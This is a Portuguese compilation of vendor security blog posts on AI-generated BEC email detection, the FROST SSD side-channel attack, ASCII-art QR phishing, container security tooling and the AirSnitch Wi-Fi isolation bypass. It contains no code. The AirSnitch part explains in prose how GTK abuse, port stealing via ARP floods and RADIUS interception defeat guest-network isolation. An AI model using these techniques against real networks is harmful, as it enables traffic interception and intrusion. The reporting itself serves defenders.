Não é segredo que os cibercriminosos vêm usando grandes modelos de linguagem para otimizar suas operações. Como resultado, as inúmeras campanhas de phishing e malware direcionadas às organizações tornaram-se muito mais sofisticadas. Esses e-mails agora contêm menos erros evidentes, e o tom deles se aproxima muito de uma correspondência comercial legítima. No entanto, os métodos usados para distribuir essas campanhas sempre apresentam um indício claro: uma tentativa de roubar credenciais ou executar código malicioso. Os ataques de comprometimento de e-mail comercial (BEC), no entanto, representam um desafio ainda maior.

Os ataques BEC normalmente dependem inteiramente da engenharia social, induzindo um funcionário legítimo a executar as ações solicitadas pelos invasores. Esses ataques também se tornaram muito mais sofisticados desde o surgimento dos LLMs. Se as táticas forem bem-sucedidas, por exemplo, se eles conseguirem convencer um funcionário a transferir fundos para uma conta de terceiros em vez da conta de um prestador de serviços, a empresa poderá perder muito dinheiro em questão de instantes. Foi por isso que desenvolvemos uma tecnologia especializada para detectar e-mails de BEC gerados com IA.

Um exemplo de um e-mail de BEC gerado por LLM.

Como funciona a tecnologia de detecção de BEC gerado com IA

Sem entrar em muitos detalhes técnicos, veja como essa nova tecnologia funciona. Como você deve saber, os grandes modelos de linguagem não produzem textos da mesma forma que os seres humanos. Em vez disso, eles preveem as palavras que têm maior probabilidade de se adequar à tarefa descrita no prompt. Além disso, os cibercriminosos tendem a seguir o caminho mais fácil: em vez de reinventar a roda, recorrem aos modelos de IA mais amplamente disponíveis.

Como o objetivo dos invasores é relativamente claro, podemos extrair do texto frases-chave específicas de ataques de BEC. Além disso, aprendemos a identificar quando um texto foi gerado por uma máquina. Esses indicadores são um dos pilares da nossa tecnologia de detecção. Como resultado, nossa solução de segurança agora consegue identificar e bloquear tentativas de ataques BEC logo no estágio inicial, antes mesmo que o invasor tenha a oportunidade de enganar um funcionário. Atualmente, a tecnologia detecta e-mails de BEC gerados com IA em inglês, russo, alemão, francês, italiano, espanhol, português e turco.

Quais de nossas soluções apresentam a tecnologia de detecção de BEC gerada com IA?

Nosso portfólio de soluções de segurança corporativa inclui o Kaspersky Security for Mail Server, que incorpora o Kaspersky Secure Mail Gateway. É no gateway seguro de e-mail que nossa tecnologia de detecção de e-mails BEC gerados por IA está implementada. Mais especificamente, o recurso está disponível na licença KSMS Plus após a recente atualização para o KSMG 3.1. Visite a página oficial do Kaspersky Secure Mail Server para saber mais sobre nossas soluções de segurança de e-mail e os recursos adicionados na atualização mais recente.

Cientistas da Universidade de Tecnologia de Graz, na Áustria, publicaram recentemente um artigo detalhando um novo método para monitorar a atividade de usuários em navegadores. O aspecto mais fascinante dessa nova técnica (batizada de FROST) é que ela usa a unidade de estado sólido (SSD) do computador para espionar o usuário. Sem entrar demais em detalhes técnicos, o ataque funciona assim: um hacker atrai a vítima para um site especialmente criado; enquanto a página permanecer aberta, o hacker consegue rastrear exatamente quais aplicativos o usuário está abrindo e quais outras páginas da Web está visitando.

Mas como isso é possível? A primeira reação, naturalmente, é culpar o navegador. Porém, nos navegadores modernos, cada site é executado em um sandbox e normalmente não consegue acessar outras guias, muito menos o hardware do computador. Embora hackers encontrem brechas nessas proteções de tempos em tempos, não é isso o que acontece aqui. O ataque FROST funciona perfeitamente mesmo com todas as medidas padrão de proteção do navegador ativadas. Em vez disso, ele explora um recurso totalmente legítimo chamado Origin Private File System (OPFS), que fornece aos sites um espaço virtual próprio para armazenar dados. No entanto, embora o armazenamento seja isolado digitalmente, os dados continuam sendo gravados no mesmo SSD usado pelos demais aplicativos e páginas abertos no computador. Pesquisadores descobriram que uma página maliciosa pode identificar o que está sendo executado no computador ao enviar solicitações contínuas ao SSD e analisar pequenas variações nos tempos de acesso. Antes de entrar nos detalhes de como isso funciona, vale entender rapidamente a teoria por trás do ataque.

Introdução rápida aos ataques de canal lateral

O termo “canal lateral” se refere a um método de espionar um computador, ou mesmo um único microchip, de forma indireta. Em vez de interceptar os dados em si, um invasor pode analisar variações no consumo de energia, monitorar a temperatura de componentes específicos ou até monitorar a radiação eletromagnética, entre outras coisas. Em teoria, isso significa que alguém poderia escutar uma conversa em uma sala usando apenas um mouse, já que o sensor óptico consegue captar vibrações sonoras. Da mesma forma, monitorar oscilações na frequência do processador pode permitir que um hacker roube uma chave de criptografia. Até mesmo um simples LED em um leitor de crachá pode revelar informações suficientes sobre o funcionamento interno do dispositivo para permitir a clonagem de um cartão inteligente.

O grande atrativo desses vazamentos indiretos, pelo menos do ponto de vista do hacker, é que eles são difíceis de detectar. Os fabricantes raramente levam esse tipo de comportamento em consideração ao projetar sistemas de segurança. Por outro lado, há uma limitação evidente: extrair informações por um mecanismo que nunca foi criado para transmitir dados costuma ser um processo complexo, lento e trabalhoso. Os pesquisadores austríacos concentraram seus estudos em um subtipo específico conhecido como ataque de canal lateral por contenção. Nesse caso, o vazamento acontece porque vários processos disputam o mesmo recurso. Aqui, o recurso disputado é a largura de banda da unidade de armazenamento.

Por dentro do ataque FROST

Esse canal lateral específico já havia sido estudado antes, inclusive em um artigo publicado em 2025. Na época, porém, o cenário era relativamente simples: os pesquisadores executavam um programa no computador para gerar os dados, enquanto um segundo programa, rodando na mesma máquina, tentava interceptá-los. Embora isso funcione bem para um estudo acadêmico teórico, o modelo de ataque não era exatamente revolucionário. Afinal, se um hacker já consegue executar qualquer programa no computador, não precisa recorrer a canais laterais complexos; existem várias formas diretas de roubar dados.

Ainda assim, o estudo do ano passado não foi em vão. Ele comprovou que a resolução obtida ao monitorar um SSD é alta, que o vazamento de dados é real e que as informações capturadas podem, de fato, ser úteis. O ataque FROST é essencialmente uma continuação lógica dessa mesma ideia.

Veja como ele funciona na prática. Imagine um arquivo relativamente grande armazenado em um SSD e preenchido com dados aleatórios. Um processo específico lê esse conteúdo em intervalos regulares e mede quanto tempo leva para obter uma resposta. Essa velocidade varia dependendo do nível de ocupação da unidade com outras tarefas. Esses atrasos de acesso funcionam como sinais reveladores da atividade da unidade. Os pesquisadores austríacos demonstraram que registrar esses atrasos ao longo do tempo permite identificar com boa precisão qual outra tarefa está sendo executada naquele exato momento.

Padrões distintos de latência gerados ao abrir sites específicos Fonte

Os pesquisadores elaboraram gráficos de latência, como os acima, para vários sites e aplicativos executados localmente. O que eles encontraram foram padrões distintos, ou assinaturas digitais geradas toda vez que um site específico é carregado ou que um aplicativo é iniciado. Capturar essas janelas extremamente rápidas de carregamento exige monitoramento contínuo do SSD por um longo período. Mesmo assim, os padrões se mantiveram consistentes entre diferentes sistemas; os autores validaram o método em um desktop Linux e em um Apple Mac Mini. A partir daí, parece simples: criar um catálogo de assinaturas conhecidas, medir os atrasos reais do SSD, comparar os dois conjuntos e descobrir exatamente quais aplicativos o usuário está abrindo e quais sites está visitando. Mas como realizar esse tipo de vigilância sem levantar suspeitas e sem instalar malwares no computador da vítima?

É aí que entra um recurso relativamente novo dos navegadores chamado Origin Private File System (OPFS). Um invasor hipotético não precisa convencer o usuário a baixar um cavalo de Troia malicioso. Basta fazer a vítima visitar uma página especialmente criada, que usará o OPFS para monitorar silenciosamente a atividade do SSD. A sigla reúne todos esses elementos: FROST significa Fingerprinting Remotely using OPFS-based SSD Timing (identificação remota por assinatura digital com temporização de SSD baseada em OPFS). Veja o passo a passo de como todo o ataque acontece:

Como o método FROST pode ser usado para espionar a atividade de um computador Fonte

Limitações do método

Como qualquer ataque de canal lateral, o FROST definitivamente não foi feito para ser rápido. É um processo lento e estruturado. Para descobrir exatamente o quanto, os pesquisadores construíram um ambiente de testes dedicado para medi-lo.

Estrutura de testes usada para medir a velocidade de extração de dados via OPFS Fonte

A equipe executou um programa em um computador para transmitir dados de forma indireta. Pense nisso como um espião digital transmitindo uma mensagem secreta alterando a forma como interage com a unidade de armazenamento. Por exemplo, um 1 no código binário da mensagem pode indicar que o programa está usando o SSD, enquanto um 0 indica que está inativo. Ao mesmo tempo, os pesquisadores configuraram no navegador um receptor que acessava a unidade de armazenamento via OPFS. Como tanto o receptor no navegador quanto o programa transmissor disputavam a largura de banda do SSD, o navegador sofria pequenos atrasos de acesso sempre que o transmissor estava enviando dados ativamente.

Essa configuração inusitada conseguiu transmitir dados a 661 bits por segundo, com quase 90% de precisão em um desktop Linux com processador AMD. Em um Apple Mac Mini executando o macOS, a taxa de transferência chegou a 719 bits por segundo, também com precisão próxima de 90%. Embora esses números sejam um pouco inferiores aos do estudo do ano passado, que dependia de aplicativos instalados diretamente no computador, a diferença não é tão grande assim.

Dito isso, a verdadeira ameaça do ataque FROST não está na transmissão bruta de dados, mas no rastreamento da atividade do usuário. Mesmo com um banco de dados de assinaturas digitais de aplicativos e sites específicos, as informações vazadas por uma página maliciosa usando OPFS são pouco precisas e difíceis de correlacionar. Afinal, um computador está constantemente lendo e gravando dados no SSD em segundo plano. Para separar esse ruído digital, os pesquisadores recorreram a uma ferramenta que está se tornando padrão em ataques cibernéticos modernos: uma rede neural. Uma IA treinada com assinaturas conhecidas de SSDs conseguiu identificar com segurança a atividade do usuário mesmo em meio a um cenário caótico de dados em segundo plano. Os resultados finais são impressionantes. No Apple Mac Mini, a IA identificou corretamente qual site o usuário abriu em 89% dos casos e detectou a abertura de aplicativos locais com 96% de precisão. Mais importante: ela conseguiu identificar até quais sites foram abertos em um navegador completamente diferente daquele que estava executando a guia maliciosa. À primeira vista, parece um cenário ideal para os hackers, exceto por uma longa lista de limitações no mundo real.

O ataque FROST representa uma ameaça real?

O simples fato de saber quais aplicativos foram abertos ou quais sites foram visitados não dá ao invasor muita vantagem. Esse tipo de dado costuma ser mais útil para anunciantes interessados em traçar o perfil digital de um usuário sem autorização; ainda assim, aplicar esse método de rastreamento em larga escala é pouco realista. O principal obstáculo é a forma como os computadores gerenciam dados: o sistema move os dados mais acessados para a memória RAM, tornando-os praticamente invisíveis ao FROST, que depende da medição da largura de banda mais lenta do SSD físico. Para contornar esse obstáculo, a página maliciosa precisaria forçar o OPFS a criar um arquivo gigantesco, com bem mais de 1 GB. Nem é preciso dizer que um site consumindo recursos do disco de forma tão agressiva levantaria suspeitas imediatamente. Soluções de EDR ou XDR provavelmente marcariam isso como atividade anômala.

No fim das contas, isso significa que o ataque FROST, como a maioria dos métodos de espionagem por canal lateral, só é viável em operações altamente direcionadas. Mas isso nos leva de volta ao ponto inicial: descobrir quais aplicativos alguém abre ou quais páginas acessa é uma recompensa relativamente pequena diante do enorme esforço necessário para executar um ataque tão sofisticado.

Ainda assim, o FROST está muito à frente da maioria dos ataques acadêmicos de canal lateral quando o assunto é aplicabilidade no mundo real. Ele não exige malware pré-instalado, e a vítima não precisa fazer nada além de abrir uma página maliciosa. No mínimo, essa pesquisa serve como um lembrete importante de como os computadores modernos são complexos e de quantos pontos cegos inesperados podem acabar abrindo caminho para vazamentos de dados. Ao desenvolver sistemas ultrasseguros para informações sigilosas, é essencial considerar as particularidades do hardware. Se o objetivo for valioso o suficiente, um invasor determinado investirá tempo para criar um ataque altamente específico e complexo. Pesquisas como esta mostram que, no universo da cibersegurança, esse cenário não é impossível.

Já escrevemos várias vezes sobre como códigos QR são usados em esquemas de phishing. Nosso gateway seguro de e-mail até inclui tecnologia para ler esses códigos (não apenas em e-mails, mas também em anexos) e verificar os links incorporados. Ainda assim, os criminosos não desistem de enviar códigos QR às suas vítimas. Recentemente, temos observado um aumento no uso de arte ASCII para essa finalidade. Trata-se de imagens criadas a partir de caracteres de texto. Isso é particularmente irônico, considerando que, no passado, os phishers tentavam escapar da verificação de links escondendo-os em imagens e, agora, estão tentando burlar a análise de imagens voltando ao uso de texto. Mas com algumas adaptações.

A arte esquecida do ASCII e como os criminosos a utilizam

Hoje pode parecer difícil acreditar, mas houve uma época em que os computadores não eram capazes de exibir imagens gráficas. Por isso, as primeiras imagens digitais eram construídas com caracteres de texto. Após a adoção do padrão ASCII (American Standard Code for Information Interchange) em 1963, seus caracteres passaram a ser amplamente utilizados para criar esse tipo de arte, garantindo que as imagens fossem exibidas da mesma forma em diferentes computadores. Com o passar do tempo, outros símbolos de texto, como os presentes no conjunto Unicode expandido, também passaram a ser utilizados na criação dessas imagens. Ainda assim, o termo “arte ASCII” continuou sendo usado para descrever esse estilo artístico de forma geral. Houve artistas que se dedicaram seriamente a essa técnica. Os primeiros sites da Internet utilizavam arte ASCII em seu design e até mesmo os primeiros conteúdos pornográficos digitais eram representados exclusivamente por caracteres de texto.

Com a evolução das tecnologias gráficas, a arte ASCII perdeu popularidade. Ela voltou a ganhar destaque nos anos 2000, durante o auge do spam por e-mail. Naquela época, os spammers utilizavam a técnica principalmente para disfarçar palavras associadas a spam que poderiam acionar filtros de e-mail. Além disso, mensagens compostas por texto consumiam menos recursos dos servidores do que imagens. Outro fator era que muitos usuários pagavam pelo volume de tráfego de Internet utilizado e, por isso, frequentemente desativavam o carregamento de imagens em seus clientes de e-mail. Naturalmente, naquela época, ampliamos nossas soluções de segurança para e-mail com tecnologias específicas para detectar e bloquear arte ASCII maliciosa.

Agora, a técnica de ASCII foi redescoberta, desta vez por criminosos que buscam contornar sistemas capazes de reconhecer códigos QR presentes em imagens.

Como é um ataque de phishing com arte ASCII?

Veja um exemplo recente. O pretexto em si é bem comum: alguém supostamente enviou à vítima um documento confidencial via DocuSign, mas, para abri-lo, o destinatário precisa escanear o código QR no e-mail para acessar um site e inserir suas credenciais corporativas.

Código QR criado com caracteres Unicode. Parte do código foi desfocada para impedir que o link malicioso fosse escaneado

À primeira vista, o código parece estranho. Isso acontece porque ele é desenhado utilizando caracteres pseudo-gráficos e até mesmo os espaços entre as linhas ficam visíveis. Na realidade, não há nenhuma imagem propriamente dita no código da mensagem de e-mail. Nos bastidores, o código QR se parece com algo assim:

Arte ASCII presente no código do e-mail

Como resultado, os mecanismos de verificação de links não conseguem identificar o endereço, e as ferramentas de análise de imagens não conseguem detectar a URL oculta no código QR. Com isso, os criminosos acreditam que o e-mail de phishing chegará à vítima sem problemas. Spoiler: não esquecemos como bloquear arte ASCII.

É normal receber um código QR por e-mail?

Em teoria, existem situações legítimas em que o uso de um código QR faz sentido. Ele é uma forma prática de compartilhar contatos, links para aplicativos móveis, localizações em mapas ou informações de configuração. Em outras palavras, funciona bem quando o objetivo é transferir informações diretamente para um dispositivo móvel.

No entanto, se alguém pedir que você utilize um código QR para inserir credenciais corporativas em um smartphone, isso deve ser considerado um forte sinal de alerta. E quando esse código QR é criado com arte ASCII, trata-se claramente de uma tentativa de phishing ou de direcionamento para uma URL maliciosa. Esse tipo de técnica tem apenas uma finalidade: tentar contornar mecanismos de segurança.

Como se proteger?

Para impedir que e-mails de phishing, contendo ou não arte ASCII, cheguem às caixas de entrada dos colaboradores, recomendamos a adoção de um gateway de e-mail seguro antiphishing. Como camada adicional de defesa, é importante instalar soluções de segurança em todos os dispositivos utilizados para acessar a Internet.

Também recomendamos a realização periódica de treinamentos de conscientização em segurança, para que os colaboradores conheçam as táticas de phishing mais recentes. Vale destacar, especificamente, que a presença de arte ASCII em e-mails modernos pode ser um indicativo importante de uma tentativa de ataque de phishing.

Entre as várias ferramentas no portfólio da Kaspersky está uma plataforma dedicada para proteger ambientes em contêineres. Mas nesta postagem, quero falar sobre o Kaspersky Container Security (KCS), não como um representante do fornecedor, mas como membro de uma equipe que usa ativamente essa solução em sua rotina de trabalho. Nossa Equipe de Segurança de Produto é responsável por estabelecer processos de desenvolvimento seguros em toda a empresa. Estamos envolvidos em todas as etapas do ciclo de vida de desenvolvimento de software, e nossa prioridade é ajudar as equipes de produto a detectar problemas de segurança com antecedência para que possam cumprir o cronograma de seus lançamentos. Para isso, criamos vários fluxos de trabalho, um dos quais se concentra especificamente na segurança do contêiner. É nesse contexto que contamos com nossa própria plataforma Kaspersky Container Security.

As soluções de segurança para contêineres geralmente são vistas principalmente como verificadores de imagens para registros de contêineres. No entanto, o Kaspersky Container Security (KCS) é uma plataforma de segurança mais abrangente para ambientes de contêiner que lida com várias tarefas em virtude de sua integração de ponta a ponta no fluxo de trabalho do contêiner. Embora certamente inclua um cenário de verificação do contêiner, o que é inegavelmente importante, nossa experiência com o KCS mostrou que seu valor real se torna aparente quando ele é integrado em vários pontos ao longo do fluxo de trabalho de uma só vez:

• Compilações regulares
• Verificação de artefato antes de lançamento ou implementação
• Monitoramento de contêineres já em execução no cluster

O cenário de referência: como o KCS verifica imagens

Em sua essência, o processo é padrão. O KCS verifica as imagens em busca de problemas comuns em contêineres: vulnerabilidades conhecidas, malware, segredos codificados diretamente no código (hardcoded) e configurações incorretas. No entanto, o resultado da verificação não é apenas um veredicto único e abstrato. O sistema calcula uma classificação de risco com base nas descobertas, fornecendo uma imagem clara da postura de segurança do ativo. Na prática, isso é incrivelmente útil porque as equipes não veem apenas uma mensagem de “imagem ruim”; elas obtêm um detalhamento claro do que está de fato gerando o risco e do que precisa ser corrigido primeiro.

Mas isso não é tudo. O KCS funciona bem para cenários em que não é suficiente apenas encontrar um problema: é necessário vinculá-lo ao ciclo de vida do artefato. Quando uma equipe gerencia centenas de compilações, a verificação periódica do registro não é suficiente e quase sempre requer intervenção manual. É preciso saber qual pipeline introduziu o risco, quais políticas foram acionadas e quais são as próximas etapas. O KCS fornece esse vínculo essencial.

Cenário avançado: integração de CI/CD

Uma característica menos conhecida do KCS é seu recurso de verificação em grande escala dentro de pipelines de CI/CD. Para nossa equipe, essa é a maneira mais eficaz de usar o KCS. A lógica é direta: você integra o verificador no pipeline e os resultados da verificação aparecem diretamente nos logs de execução. Eles também são enviados para o console central da solução, onde são registrados em uma seção de CI/CD dedicada que vincula as descobertas ao nome do artefato, horário de verificação, pipeline e nível de gravidade.

Em um ambiente de CI/CD, é possível verificar imagens de arquivos compactados TAR ou diretamente de repositórios Git. Pronto para uso, é compatível com GitLab, Jenkins, TeamCity e GitHub Actions; na prática, o KCS pode ser integrado em qualquer orquestrador de pipeline.

Outro aspecto crítico do uso do KCS no CI/CD envolve as políticas de segurança. Nossa solução usa um modelo em que as políticas permitem não apenas coletar resultados, mas também controlar o comportamento do próprio pipeline. Isso é útil para implementações em fases. Você pode iniciar no modo de auditoria e, em seguida, avançar gradualmente para compilações com falha quando forem detectados segredos, configurações incorretas críticas ou vulnerabilidades. Essa abordagem evolutiva geralmente funciona melhor do que simplesmente apertar um botão para bloquear tudo de uma vez.

Como o KCS ajuda em nossos fluxos de trabalho

Executamos nosso próprio sistema de análise de composição, portanto, não tratamos o KCS como uma fonte de verdade única. Em vez disso, serve como uma poderosa camada extra em nossos fluxos de trabalho, e é nesse aspecto que ele entrega mais valor.

Enquanto nosso sistema interno de análise de composição lida com rastreamento de componentes, dependências e avaliação de risco em nível de código, o KCS se destaca na proteção do perímetro do contêiner. Ele cuida da verificação técnica de imagens e da segurança de CI/CD, ao mesmo tempo em que agrega relatórios sobre artefatos de contêiner. Não entra em conflito com nossa análise interna; ele a reforça exatamente no ponto em que os contêineres recebem cargas de trabalho reais.

Isso é particularmente útil para nós em dois cenários. Primeiro, ele fornece controle de artefatos em estágio inicial durante o desenvolvimento. Em segundo lugar, ele atua como um gatekeeper durante o aprovação de versão. Não debatemos mais os riscos algum tempo depois do lançamento; nós os detectamos no ponto exato em que a equipe ainda pode corrigir rapidamente um Dockerfile, um gráfico do Helm ou um conjunto de configurações sem uma longa cadeia de aprovação.

O modo como ele lida com uma lista de materiais de software (SBOM) também merece destaque. Nosso sistema depende principalmente de SBOMs relevantes e atualizados. O KCS oferece modos específicos para o processamento de SBOMs e pode até mesmo gerar resultados de verificação no mesmo formato. Nesse sentido, o KCS se integra perfeitamente aos nossos processos internos, permitindo incorporá-lo aos nossos fluxos de trabalho existentes, em vez de precisarmos adaptar nossos fluxos a ele.

Por que, para nós, o KCS é mais do que apenas um verificador

Sua outra camada poderosa é a segurança do cluster. Neste estágio, o KCS evolui para além de ser apenas uma ferramenta de verificação de imagens. Ele apresenta políticas de tempo de execução para contêineres e nós, modos de auditoria e bloqueio, além de um conjunto de perfis de segurança. Em termos práticos, isso significa que o KCS pode ser usado não apenas para encontrar vulnerabilidades em uma imagem, mas também para monitorar o que o contêiner está realmente fazendo quando ativo. As políticas podem considerar a proveniência da imagem, assinaturas digitais, restrições de recursos e volumes, bem como até mesmo os processos e as conexões de rede em execução dentro do contêiner.

Quando um problema é detectado, você tem a opção de registrar os resultados no modo de auditoria primeiro, em vez de bloquear o processo imediatamente. Em ambientes de produção, essa é sempre a decisão mais inteligente. Outra ferramenta vital é garantir a procedência confiável das imagens. O KCS é compatível com a verificação de assinatura digital, o que muda o foco de simplesmente encontrar CVEs para proteger toda a cadeia de fornecimento de software da empresa.

Recursos de relatórios

O KCS faz mais do que apenas exibir os problemas que detecta; ele serve como uma fonte abrangente de relatórios. Ele pode gerar relatórios sobre imagens, riscos aceitos e benchmarks do Kubernetes.

Os relatórios gerados estão disponíveis nos formatos HTML, PDF, CSV, JSON e XML, com compatibilidade específica para SARIF em relatórios detalhados, o que é ideal para integração em fluxos de trabalho AppSec. Quanto aos SBOMs mencionados acima, os cenários de verificação podem gerar artefatos e resultados nos formatos CycloneDX e SPDX, facilitando a conexão a processos existentes.

Por que continuamos a usar o KCS

Para simplificar, o KCS complementa nossos fluxos de trabalho perfeitamente: não porque resolve todos os problemas, mas porque se integra de forma muito eficaz aos cenários de engenharia.

Também valorizamos o fato de que a equipe do produto considera o nosso feedback. A equipe do KCS realmente incorpora nossas solicitações operacionais práticas em seu roteiro de desenvolvimento. Por exemplo, a integração profunda do SBOM e os tipos de relatório específicos foram adicionados ao KCS como resultado direto de nossa experiência prática.

Em resumo, quando integrado corretamente, o Kaspersky Container Security ajuda a abranger várias áreas ao mesmo tempo: desde a verificação básica de contêineres até CI/CD e segurança de clusters. Em nossa experiência, ele fornece valor real em um ecossistema de contêiner ativo. Saiba mais sobre a solução na página oficial do KCS.

Na conferência de segurança da informação NDSS Symposium 2026, realizada em fevereiro em San Diego, um renomado grupo de pesquisadores apresentou um estudo que revelou o ataque AirSnitch, capaz de contornar o recurso de isolamento de clientes Wi-Fi, também conhecido como rede de visitantes ou isolamento de dispositivos. Esse ataque permite conectar-se a uma rede sem fio por meio de um ponto de acesso e, a partir daí, acesse outros dispositivos conectados, inclusive os que usam identificadores de rede (SSIDs) diferentes no mesmo hardware. Os dispositivos-alvo podem facilmente estar em sub-redes sem fio protegidas por WPA2 ou WPA3. Na verdade, o ataque não quebra a criptografia; ele explora a maneira como os pontos de acesso lidam com chaves de grupo e roteamento de pacotes.

Na prática, isso significa que redes de visitantes oferecem um nível muito baixo de segurança real. Se as redes corporativa e de visitantes estiverem no mesmo dispositivo físico, o AirSnitch permite que um invasor conectado injete tráfego malicioso em SSIDs vizinhos. Em alguns casos, ele pode até realizar um ataque man-in-the-middle (MitM) completo.

A segurança do Wi-Fi e o papel do isolamento

A segurança do Wi-Fi está em constante evolução. Sempre que surge um ataque viável contra a geração de proteção mais recente, o setor responde com algoritmos e processos mais complexos. Esse ciclo começou com os ataques FMS, usados para quebrar chaves de criptografia WEP, e continua até hoje. Exemplos recentes incluem os ataques KRACK ao WPA2 e os FragAttacks, que afetam todas as versões do protocolo de segurança WEP até WPA3.

Atacar redes Wi-Fi modernas de forma eficaz (e discreta) não é uma tarefa simples. A maioria dos profissionais considera que usar WPA2/WPA3 com chaves complexas e separar redes por finalidade costuma ser suficiente para a proteção. No entanto, apenas especialistas sabem que o isolamento de clientes nunca foi padronizado nos protocolos IEEE 802.11. Fabricantes diferentes implementam esse isolamento de formas distintas, usando a Camada 2 ou 3 da arquitetura de rede (ou seja, no roteador ou no controlador Wi-Fi), o que significa que o comportamento de sub-redes isoladas varia bastante dependendo do ponto de acesso específico ou do modelo do roteador.

Embora o marketing afirme que o isolamento de clientes é ideal para impedir que visitantes de restaurantes ou hotéis ataquem uns aos outros, ou para garantir que visitantes corporativos não possam acessar nada além da Internet, na prática, esse isolamento muitas vezes depende do fato de ninguém tentar explorá-lo. É justamente isso que a pesquisa sobre o AirSnitch demonstra.

Tipos de ataques AirSnitch

O nome AirSnitch não se refere a uma única vulnerabilidade, mas a toda uma família de falhas de arquitetura em pontos de acesso Wi-Fi. Também é o nome de uma ferramenta de código aberto usada para testar roteadores quanto a esses pontos fracos específicos. Ainda assim, os profissionais de segurança precisam lembrar que a linha entre teste e ataque é bastante tênue.

O modelo desses ataques é sempre parecido: um cliente malicioso se conecta a um ponto de acesso com isolamento ativado. Outros usuários (as vítimas) estão conectados ao mesmo SSID ou a SSIDs diferentes no mesmo ponto de acesso. Esse cenário é comum; por exemplo, uma rede de visitantes pode estar aberta e sem criptografia, ou um invasor pode simplesmente obter a senha do Wi-Fi de visitante se passando por um visitante legítimo.

Para determinados ataques AirSnitch, o invasor precisa saber previamente o endereço MAC ou o IP da vítima.  Em última análise, a eficácia de cada ataque depende do fabricante do hardware (veja mais detalhes abaixo).

Ataque de GTK

Após o handshake do WPA2/WPA3, o ponto de acesso e os clientes compartilham uma Group Transient Key (GTK) para lidar com o tráfego de broadcast. Nesse cenário, o invasor encapsula os pacotes destinados a uma vítima específica dentro de um pacote de tráfego de transmissão. Em seguida, ele envia esses pacotes diretamente à vítima, falsificando o endereço MAC do ponto de acesso. Esse ataque permite apenas a injeção de tráfego, o que significa que o invasor não recebe uma resposta. Mesmo assim, já é suficiente para enviar anúncios de roteamento ICMPv6 maliciosos ou mensagens DNS e ARP ao cliente, ignorando efetivamente o isolamento. Essa é a forma mais universal do ataque, funcionando em redes WPA2/WPA3 que usam uma GTK compartilhada. Alguns pontos de acesso corporativos, no entanto, permitem a randomização da GTK por cliente, o que neutraliza esse método.

Redirecionamento de pacotes de transmissão

Nessa versão do ataque, o invasor nem precisa se autenticar primeiro no ponto de acesso. Ele envia pacotes ao ponto de acesso com um endereço de destino de transmissão (FF:FF:FF:FF:FF:FF) e a sinalização ToDS definida como 1.  Como resultado, muitos pontos de acesso tratam esse pacote como tráfego de transmissão legítimo, o criptografam usando a GTK e o enviam para todos os clientes na sub-rede, incluindo a vítima. Assim como no método anterior, é possível encapsular o tráfego especificamente destinado a uma única vítima dentro dos pacotes.

Redirecionamento via roteador

Esse ataque explora uma falha de arquitetura entre as Camadas de segurança 2 e 3 presente no hardware de alguns fabricantes. O invasor envia um pacote ao ponto de acesso, definindo o endereço IP da vítima como destino na camada de rede (L3).  No entanto, na camada sem fio (L2), o destino é definido como o próprio endereço MAC do ponto de acesso, evitando que o filtro de isolamento seja acionado. O subsistema de roteamento (L3) depois encaminha o pacote de volta à vítima, contornando completamente o isolamento da L2. Assim como nos métodos anteriores, trata-se de um ataque apenas de transmissão em que o invasor não vê a resposta.

Roubo de porta para interceptação de pacotes

O invasor se conecta à rede usando uma versão falsificada do endereço MAC da vítima e inunda a rede com respostas ARP dizendo: “este endereço MAC está na minha porta e SSID”.  O roteador da rede alvo atualiza suas tabelas MAC e começa a enviar o tráfego da vítima para essa nova porta. Com isso, o tráfego destinado à vítima acaba sendo recebido pelo invasor, mesmo que a vítima esteja conectada a outro SSID.

Se o invasor estiver em uma rede aberta e sem criptografia, isso significa que o tráfego destinado a um cliente em uma rede protegida por WPA2/WPA3 pode acabar sendo transmitido “em claro”, permitindo que qualquer pessoa próxima o capture.

Roubo de porta para envio de pacotes

Nessa versão, o invasor se conecta diretamente ao adaptador Wi-Fi da vítima e o bombardeia com solicitações ARP, falsificando o endereço MAC do ponto de acesso. Como resultado, o computador da vítima passa a enviar seu tráfego ao invasor em vez da rede. Ao combinar essas duas técnicas de roubo de porta, um invasor pode, em vários cenários, realizar um ataque completo de MitM.

Consequências práticas dos ataques AirSnitch

Ao combinar várias dessas técnicas, um hacker pode realizar algumas ações bastante graves:

• Interceptação completa de tráfego bidirecional para um ataque MitM. Isso significa que o invasor pode capturar e modificar dados entre a vítima e o ponto de acesso sem que ela perceba.
• Movimentação entre SSIDs. Um invasor em uma rede de visitantes pode alcançar hosts em uma rede corporativa restrita, desde que ambas usem o mesmo ponto de acesso físico.
• Ataques ao RADIUS. Como muitas empresas usam a autenticação via RADIUS no Wi-Fi corporativo, um invasor pode falsificar o endereço MAC do ponto de acesso para interceptar os pacotes iniciais de autenticação RADIUS. A partir daí, ele pode tentar descobrir o segredo compartilhado por força bruta. Com isso em mãos, ele pode criar um servidor RADIUS e um ponto de acesso falsos para capturar dados de qualquer dispositivo que se conecte a eles.
• Exposição de dados não criptografados em sub-redes “seguras”: o tráfego que deveria estar protegido por WPA2/WPA3 pode ser retransmitido a um cliente em uma rede de visitantes aberta, ficando exposto a qualquer pessoa próxima.

Para executar esses ataques com eficiência, um hacker precisa de um dispositivo capaz de transmitir e receber dados simultaneamente com o adaptador e o ponto de acesso da vítima. Em um cenário do mundo real, isso geralmente envolve um notebook com dois adaptadores Wi-Fi usando drivers Linux configurados especificamente para esse tipo de operação. Vale destacar que o ataque não é totalmente discreto: ele gera um grande volume de pacotes ARP, pode causar pequenas instabilidades no Wi-Fi quando é iniciado e reduzir a velocidade para cerca de 10 Mbps. Mesmo com esses sinais, ainda representa uma ameaça real em muitos ambientes.

Dispositivos vulneráveis

Como parte do estudo, vários pontos de acesso e roteadores corporativos e domésticos foram testados. A lista incluiu produtos da Cisco, Netgear, Ubiquiti, Tenda, D-Link, TP-Link, LANCOM e ASUS, além de roteadores com firmwares populares na comunidade, como DD-WRT e OpenWrt. Todos os dispositivos testados apresentaram vulnerabilidade a pelo menos algumas das técnicas descritas. Mais preocupante ainda: os modelos D-Link DIR-3040 e LANCOM LX-6500 foram vulneráveis a todas as variações do AirSnitch.

Curiosamente, alguns roteadores já contam com mecanismos de proteção que bloqueiam esses ataques, mesmo que as falhas de arquitetura de base continuem presentes. Por exemplo, o Tenda RX2 Pro desconecta automaticamente qualquer cliente cujo endereço MAC apareça simultaneamente em dois BSSIDs, o que na prática impede o roubo de porta.

